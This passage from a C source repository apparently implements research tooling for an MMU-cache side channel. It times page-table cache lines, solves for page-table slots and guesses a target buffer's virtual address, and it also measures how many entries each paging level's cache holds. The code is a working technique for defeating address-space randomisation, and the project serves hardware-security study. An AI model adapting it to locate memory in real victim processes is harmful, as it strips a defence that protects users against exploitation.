= 0; i < ncache_lines; ++i) { 178 | qsort(line_timings + i * nrounds, nrounds, 179 | sizeof *line_timings, cmp_uint64); 180 | timing = line_timings[i * nrounds + nrounds / 2]; 181 | 182 | timings[j * ncache_lines + i] = timing; 183 | } 184 | 185 | page += stride; 186 | } 187 | 188 | err_free_line_timings: 189 | free(line_timings); 190 | } 191 | 192 | int save_timings( 193 | uint64_t *timings, 194 | struct page_level *level, 195 | size_t n, 196 | size_t ncache_lines, 197 | size_t run, 198 | const char *output_dir) 199 | { 200 | uint64_t timing; 201 | FILE *f; 202 | size_t i, j; 203 | 204 | if (!(f = fopenf("%s/%zu-level%zu.csv", "w", output_dir, run, n + 1))) 205 | return -1; 206 | 207 | for (j = 0; j < level->npages; ++j) { 208 | for (i = 0; i < ncache_lines; ++i) { 209 | timing = timings[j * ncache_lines + i]; 210 | fprintf(f, "%" PRIu64 " ", timing); 211 | } 212 | 213 | fprintf(f, "\n"); 214 | } 215 | 216 | fclose(f); 217 | 218 | return 0; 219 | } 220 | 221 | void filter_signals( 222 | uint64_t *timings, 223 | struct page_format *fmt, 224 | volatile void *target, 225 | size_t npages, 226 | size_t ncache_lines, 227 | size_t npages_per_line, 228 | size_t nlevel) 229 | { 230 | uint64_t timing; 231 | struct page_level *level; 232 | size_t i, slot, page, line; 233 | 234 | for (page = 0; page < npages; ++page) { 235 | timing = UINT64_MAX; 236 | 237 | for (line = 0; line < ncache_lines; ++line) { 238 | timing = min(timing, timings[page * ncache_lines + line]); 239 | } 240 | 241 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 242 | if (i == nlevel) 243 | continue; 244 | 245 | slot = ((uintptr_t)target / level->page_size) % level->nentries; 246 | line = slot / npages_per_line; 247 | 248 | timings[page * ncache_lines + line] = timing; 249 | } 250 | } 251 | } 252 | 253 | unsigned profile_page_tables( 254 | unsigned *slot_error_distances, 255 | struct cache *cache, 256 | struct page_format *fmt, 257 | size_t nrounds, 258 | volatile void *target, 259 | size_t run, 260 | const char *output_dir) 261 | { 262 | struct page_level *level; 263 | double *ntimings; 264 | uint64_t *timings; 265 | uintptr_t va = 0; 266 | size_t slot, page, line; 267 | size_t npages_per_line; 268 | size_t ncache_lines; 269 | size_t stride = 0; 270 | size_t i; 271 | size_t expected_slot, expected_page, expected_line; 272 | FILE *fsolutions; 273 | FILE *freference; 274 | unsigned slot_errors = 0; 275 | 276 | if (!(fsolutions = fopenf("%s/%zu-solutions.csv", "w", output_dir, run))) 277 | return 0; 278 | 279 | if (!(freference = fopenf("%s/%zu-reference.csv", "w", output_dir, run))) 280 | goto err_close_solutions; 281 | 282 | printf("level\tbest line\tbest page\tslot\texpected\tva\n"); 283 | 284 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 285 | stride = level->page_size; 286 | 287 | ncache_lines = level->table_size / cache->line_size; 288 | npages_per_line = cache->line_size / level->entry_size; 289 | 290 | if (!(timings = malloc(level->npages * ncache_lines * 291 | sizeof *timings))) 292 | continue; 293 | 294 | if (!(ntimings = malloc(level->npages * ncache_lines * 295 | sizeof *ntimings))) { 296 | free(timings); 297 | continue; 298 | } 299 | 300 | profile_page_table(timings, cache, level, i, ncache_lines, 301 | nrounds, target, stride); 302 | filter_signals(timings, fmt, target, level->npages, ncache_lines, 303 | npages_per_line, i); 304 | save_timings(timings, level, i, ncache_lines, run, output_dir); 305 | normalise_timings(ntimings, timings, ncache_lines, level->npages); 306 | solve_lines(&line, &page, ntimings, ncache_lines, level->npages, 307 | npages_per_line); 308 | 309 | /* calculate the slot from the found line and page. */ 310 | /* use the slot to calculate part of the virtual address. */ 311 | slot = line * npages_per_line + page; 312 | va += slot * level->page_size; 313 | 314 | expected_slot = ((uintptr_t)target / level->page_size) % level->nentries; 315 | if (slot != expected_slot) { 316 | slot_error_distances[slot_errors++] = (unsigned)abs((int)slot - (int)expected_slot); 317 | } 318 | 319 | expected_line = expected_slot / npages_per_line; 320 | expected_page = expected_slot % npages_per_line; 321 | 322 | printf("%zu\t%zu\t\t%zu\t\t%zu\t%zu\t\t0x%0*" PRIxPTR " [%s]\n", i + 1, line, page, 323 | slot, expected_slot, PRIxPTR_WIDTH, va, slot == expected_slot ? "OK" : "!!"); 324 | fflush(stdout); 325 | 326 | fprintf(fsolutions, "%zu %zu %zu\n", npages_per_line, line, page); 327 | fprintf(freference, "%zu %zu %zu\n", npages_per_line, expected_line, expected_page); 328 | 329 | free(ntimings); 330 | free(timings); 331 | } 332 | 333 | fclose(fsolutions); 334 | fclose(freference); 335 | 336 | printf("Guessed VA: %p\n", (void *)va); 337 | return slot_errors; 338 | 339 | err_close_solutions: 340 | fclose(fsolutions); 341 | return 0; 342 | } 343 | -------------------------------------------------------------------------------- /source/revanc.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "args.h" 15 | #include "buffer.h" 16 | #include "cache.h" 17 | #include "paging.h" 18 | #include "profile.h" 19 | #include "shuffle.h" 20 | #include "solver.h" 21 | #include "sysfs.h" 22 | #include "thread.h" 23 | #include "macros.h" 24 | #include "path.h" 25 | 26 | #if defined(__i386__) || defined(__x86_64__) 27 | #include 28 | #include 29 | #endif 30 | 31 | int brute_force_evict_set(struct page_format *fmt, void *evict_target, 32 | size_t cache_size, size_t line_size, size_t nrounds, size_t nruns, 33 | float threshold, volatile void *target) 34 | { 35 | struct cache *cache; 36 | struct page_level *level; 37 | double *ntimings; 38 | uint64_t *timings; 39 | size_t ncache_lines, npages_per_line; 40 | size_t stride = 0; 41 | size_t slot, page, line; 42 | size_t expected_slot; 43 | size_t i; 44 | size_t mult2, mult3; 45 | 46 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 47 | if (level->npages == 0) 48 | continue; 49 | 50 | stride = level->page_size; 51 | 52 | ncache_lines = level->table_size / line_size; 53 | npages_per_line = line_size / level->entry_size; 54 | 55 | expected_slot = ((uintptr_t)target / level->page_size) % level->nentries; 56 | slot = SIZE_MAX; 57 | 58 | if (!(timings = malloc(level->npages * ncache_lines * 59 | sizeof *timings))) 60 | continue; 61 | 62 | if (!(ntimings = malloc(level->npages * ncache_lines * 63 | sizeof *ntimings))) { 64 | free(timings); 65 | continue; 66 | } 67 | 68 | mult2 = 1; 69 | mult3 = 3; 70 | size_t run = 0; 71 | size_t success = 0; 72 | float rate; 73 | 74 | for (;;) { 75 | if (!(cache = new_cache(fmt, evict_target, cache_size, 76 | line_size))) { 77 | dprintf("unable to allocate the eviction set.\n"); 78 | free(timings); 79 | free(ntimings); 80 | return -1; 81 | } 82 | 83 | success = 0; 84 | 85 | printf("probing %zu [", level->ncache_entries); 86 | fflush(stdout); 87 | 88 | for (run = 0; run < nruns; ++run) { 89 | profile_page_table(timings, cache, level, i, ncache_lines, 90 | nrounds, target, stride); 91 | 92 | if (fmt->flags & PAGE_FORMAT_FILTER) 93 | filter_signals(timings, fmt, target, level->npages, 94 | ncache_lines, npages_per_line, i); 95 | normalise_timings(ntimings, timings, ncache_lines, level->npages); 96 | solve_lines(&line, &page, ntimings, ncache_lines, level->npages, 97 | npages_per_line); 98 | 99 | slot = line * npages_per_line + page; 100 | 101 | slot &= level->slot_mask; 102 | expected_slot &= level->slot_mask; 103 | 104 | if (fabs((float)slot - expected_slot) <= 1.0) { 105 | ++success; 106 | putc('#', stdout); 107 | } else { 108 | putc('.', stdout); 109 | } 110 | 111 | fflush(stdout); 112 | } 113 | 114 | printf("]\n"); 115 | del_cache(cache); 116 | 117 | rate = 100.0f * success / nruns; 118 | 119 | if (rate >= threshold) { 120 | break; 121 | } 122 | 123 | if (mult2 < mult3) { 124 | level->ncache_entries = mult2; 125 | mult2 *= 2; 126 | } else { 127 | level->ncache_entries = mult3; 128 | mult3 *= 2; 129 | } 130 | } 131 | 132 | printf("found PL%zu cache entries: %zu\n", (i + 1), 133 | level->ncache_entries); 134 | 135 | free(ntimings); 136 | free(timings); 137 | } 138 | 139 | return 0; 140 | } 141 | 142 | int main(int argc, const char *argv[]) 143 | { 144 | struct args args = { 145 | .npages = { 128, 128, 128, 128 }, 146 | .nentries = { SIZE_MAX, SIZE_MAX, SIZE_MAX, SIZE_MAX }, 147 | .nrounds = 10, 148 | .line_size = 64, 149 | .nruns = 1, 150 | .threshold = 70.0, 151 | .output = "results", 152 | .target = 0, 153 | .evict_target = 0, 154 | }; 155 | struct buffer *buffer; 156 | struct page_format *page_format; 157 | 158 | if (check_transparent_hugepages()) { 159 | dprintf("transparent huge pages seem to be enabled.\n" 160 | "please run 'echo \"never\" > /sys/kernel/mm/transparent_hugepage/" 161 | "enabled' as root.\n"); 162 | return -1; 163 | } 164 | 165 | if (parse_args(&args, argc, argv) < 0) { 166 | show_usage(argv[0]); 167 | return -1; 168 | } 169 | 170 | detect_args(&args); 171 | 172 | if (!args.line_size) { 173 | dprintf("unable to detect line size, please specify the cache " 174 | "line size using --line-size.\n"); 175 | return -1; 176 | } 177 | 178 | if (!args.cache_size) { 179 | dprintf("unable to detect cache size, please specify the " 180 | "cache size using --cache-size.\n"); 181 | return -1; 182 | } 183 | 184 | if (!(page_format = get_page_format_from_args(&args))) { 185 | dprintf("unknown page format '%s', please use " 186 | "--list-page-formats to list all available page " 187 | "formats and specify the page format using " 188 | "--page-format.\n", args.page_format); 189 | return -1; 190 | } 191 | 192 | if (init_profiler() < 0) { 193 | dprintf("unable to set up the profiler.\n"); 194 | return -1; 195 | } 196 | 197 | if (pin_cpu(args.cpu) != 0) { 198 | dprintf("unable to pin the thread.\n"); 199 | return -1; 200 | } 201 | 202 | if (!(buffer = new_buffer(page_format, (void *)args.target))) { 203 | dprintf("unable to allocate the target buffer.\n"); 204 | return -1; 205 | } 206 | 207 | #if defined(__i386__) || defined(__x86_64__) 208 | printf("Detected CPU name: %s (%s)\n\n", cpuid_get_cpu_name(), cpuid_get_cpu_model()); 209 | #endif 210 | 211 | srand(time(0)); 212 | 213 | brute_force_evict_set(page_format, (void *)args.evict_target, 214 | args.cache_size, args.line_size, args.nrounds, args.nruns, 215 | args.threshold, buffer->data); 216 | 217 | del_buffer(buffer); 218 | 219 | if (args.page_format) 220 | free(args.page_format); 221 | 222 | return 0; 223 | } 224 | -------------------------------------------------------------------------------- /source/shuffle.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | #include "macros.h" 10 | 11 | void memswap(void *lhs_, void *rhs_, size_t n) 12 | { 13 | char tmp, *lhs = lhs_, *rhs = rhs_; 14 | 15 | while (n--) { 16 | tmp = *lhs; 17 | *lhs++ = *rhs; 18 | *rhs++ = tmp; 19 | } 20 | } 21 | 22 | void shuffle(void *data, size_t n, size_t nmemb) 23 | { 24 | size_t i; 25 | 26 | while (--n) { 27 | i = rand() % n; 28 | memswap((char *)data + i * nmemb, 29 | (char *)data + n * nmemb, 30 | nmemb); 31 | } 32 | } 33 | 34 | /* It appears that shuffling does not make a difference on the tested systems. */ 35 | void generate_indicies(size_t *indicies, size_t num) 36 | { 37 | size_t i; 38 | 39 | for (i = 0; i < num; ++i) 40 | indicies[i] = i; 41 | } 42 | -------------------------------------------------------------------------------- /source/solver.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | #include "macros.h" 10 | #include "solver.h" 11 | 12 | void normalise_timings(double *ntimings, uint64_t *timings, 13 | size_t ncache_lines, size_t npages) 14 | { 15 | size_t x, y; 16 | uint64_t timing, lo, hi; 17 | double ntiming; 18 | 19 | for (y = 0; y < npages; ++y) { 20 | lo = UINT64_MAX; 21 | hi = 0; 22 | 23 | for (x = 0; x < ncache_lines; ++x) { 24 | timing = timings[y * ncache_lines + x]; 25 | 26 | lo = min(lo, timing); 27 | hi = max(hi, timing); 28 | } 29 | 30 | for (x = 0; x < ncache_lines; ++x) { 31 | timing = timings[y * ncache_lines + x] - lo; 32 | 33 | if (hi == lo) { 34 | ntiming = 1.0; 35 | } else { 36 | ntiming = timing / (hi - lo); 37 | } 38 | 39 | ntimings[y * ncache_lines + x] = ntiming; 40 | } 41 | } 42 | } 43 | 44 | double solve_line(double *timings, size_t line, size_t page, 45 | size_t ncache_lines, size_t npages, size_t npages_per_line) 46 | { 47 | /* calculate the score by taking the sum of all the points across 48 | * a line, where timings is a matrix with timings, line is the x 49 | * offset, page is the y offset, ncache_lines is the amount of cache 50 | * lines, npages is the amount of pages and where npages_per_line is 51 | * the expected amount of pages per line. 52 | */ 53 | 54 | double sum = 0; 55 | 56 | size_t row, col; 57 | for (row = 0; row < npages; ++row) { 58 | col = (line + (row + page) / npages_per_line) % ncache_lines; 59 | sum += timings[col + row * ncache_lines]; 60 | } 61 | 62 | return sum; 63 | } 64 | 65 | void solve_lines(size_t *best_line, size_t *best_page, 66 | double *timings, size_t ncache_lines, size_t npages, 67 | size_t npages_per_line) 68 | { 69 | /* solve all possibilities using solve_line and pick the best one 70 | * and store it in best_line and best_page. 71 | */ 72 | 73 | size_t line, page; 74 | double line_sum; 75 | double best_sum = 0; 76 | 77 | for (line = 0; line < ncache_lines; ++line) { 78 | for (page = 0; page < npages_per_line; ++page) { 79 | line_sum = solve_line(timings, line, page, ncache_lines, npages, npages_per_line); 80 | 81 | if (line_sum > best_sum) { 82 | best_sum = line_sum; 83 | *best_line = line; 84 | *best_page = page; 85 | } 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /source/x86-64/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | obj-y += source/x86-64/paging.o 6 | 7 | obj-y += source/cpuid/cache.o 8 | obj-y += source/cpuid/cpuid.o 9 | obj-y += source/cpuid/amd/cache.o 10 | obj-y += source/cpuid/amd/cpuid.o 11 | obj-y += source/cpuid/intel/cache.o 12 | obj-y += source/cpuid/intel/cpuid.o 13 | -------------------------------------------------------------------------------- /source/x86-64/paging.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include "macros.h" 9 | #include "paging.h" 10 | 11 | struct page_level x86_64_page_levels[] = { 12 | { 13 | .entry_size = sizeof(uint64_t), 14 | .nentries = 512, 15 | .table_size = 512 * sizeof(uint64_t), 16 | .page_size = 4 * KIB, 17 | .slot_mask = 0x1ff, 18 | }, 19 | { 20 | .entry_size = sizeof(uint64_t), 21 | .nentries = 512, 22 | .table_size = 512 * sizeof(uint64_t), 23 | .page_size = 2 * MIB, 24 | .slot_mask = 0x1ff, 25 | }, 26 | { 27 | .entry_size = sizeof(uint64_t), 28 | .nentries = 512, 29 | .table_size = 512 * sizeof(uint64_t), 30 | .page_size = 1 * GIB, 31 | .slot_mask = 0x1ff, 32 | }, 33 | { 34 | .entry_size = sizeof(uint64_t), 35 | .nentries = 512, 36 | .table_size = 512 * sizeof(uint64_t), 37 | .page_size = 512 * GIB, 38 | .slot_mask = 0x1ff, 39 | }, 40 | }; 41 | 42 | struct page_format page_formats[] = { 43 | { "x86-64", x86_64_page_levels, 4, PAGE_FORMAT_FILTER }, 44 | { NULL, 0, 0, 0 }, 45 | }; 46 | 47 | --------------------------------------------------------------------------------